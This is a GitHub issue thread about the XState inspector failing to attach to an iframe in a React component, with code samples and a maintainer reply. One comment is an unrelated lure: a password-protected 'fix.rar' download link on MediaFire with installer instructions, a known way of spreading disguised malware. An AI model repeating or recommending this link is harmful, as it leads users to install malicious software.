Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Issue Attaching XState Inspector to iframe #36

Open
tamjeedhur opened this issue Aug 27, 2024 · 2 comments
Open

Issue Attaching XState Inspector to iframe #36

tamjeedhur opened this issue Aug 27, 2024 · 2 comments

Comments

@tamjeedhur
Copy link

tamjeedhur commented Aug 27, 2024

I'm encountering an issue while trying to render the XState machine UI inside an iframe using the @statelyai/inspect library. The inspector is supposed to be attached to the iframe after it has been rendered, but it seems like the state machine is initialized before the inspector is fully set up. This results in the state machine not being able to use the inspector for visualization.

Current Behavior:

I create an iframe in the DOM and reference it using useRef.
I use createBrowserInspector to create an inspector and attach it to the iframe once the iframe is rendered (useEffect).
The state machine is initialized using a custom hook useMachineAdvance, which expects the inspector to be available.
The inspector doesn't seem to attach properly to the iframe, possibly because the state machine is initialized before the inspector setup is complete.
Expected Behavior: The XState machine UI should be rendered inside the iframe, with the inspector properly attached and synchronized with the state machine from the moment the component mounts.

Code Example:

import React, { useEffect, useState, useRef } from 'react';
import './App.css';
import { useMachine } from '@xstate/react';
import { trafficLightMachine } from './counterMachine';
import { createBrowserInspector } from "@statelyai/inspect";

function App() {
  const iframeRef = useRef<HTMLIFrameElement | null>(null);
  const [inspect, setInspect] = useState<any | null>(null);

  useEffect(() => {
    if (iframeRef.current) {
      const inspector = createBrowserInspector({ iframe: iframeRef.current });
      setInspect(inspector);
    }
  }, []);

  const [state, send] = useMachine(trafficLightMachine, { inspect });

  return (
    <section id="app">
      <output>{state.value}</output>
      <iframe
        id="inspector-iframe"
        ref={iframeRef}
        title="Traffic Light State Inspector"
        style={{ height: "500px", width: "500px" }}
      ></iframe>
      <button onClick={() => send({ type: 'TIMER' })}>Count</button>
    </section>
  );
}

export default App;

Steps to Reproduce:

Create a React component that renders an iframe.
Use createBrowserInspector from @statelyai/inspect to attach the inspector to the iframe after it renders.
Initialize a state machine using a useMachine hook, passing the inspector as a parameter.
Observe that the inspector is not fully functional.

but getting this as output

Screenshot 2024-08-27 at 4 47 44 AM

can you guide me on it ?

@davidkpiano
Copy link
Member

Can you please try with an externally created inspector? Outside of the component

@NeonRST
Copy link

NeonRST commented Aug 27, 2024

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

@tamjeedhur
Copy link
Author

tamjeedhur commented Aug 27, 2024

import React, { useEffect, useState, useRef } from 'react';
import './App.css';
import { useMachine } from '@xstate/react';
import { trafficLightMachine } from './counterMachine';
import { createBrowserInspector } from "@statelyai/inspect";


const inspector = createBrowserInspector({ iframe: document.getElementById("inspector-iframe") });

function App() {
  const [inspect, setInspect] = useState<any | null>(inspector.inspect);

  const [state, send] = useMachine(trafficLightMachine, { inspect });

  return (
    <section id="app">
      <output>{state.value}</output>
      <iframe
        id="inspector-iframe"
        title="Traffic Light State Inspector"
        style={{ height: "500px", width: "500px" }}
      ></iframe>
      <button onClick={() => send({ type: 'TIMER' })}>Count</button>
    </section>
  );
}

export default App;

hi @davidkpiano creating inspector outside the component will open the inspector in new tab , in that way we will not be able to reference iframe using ref as going outside the component react does not support to call any hook . I want it to be in iframe .

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants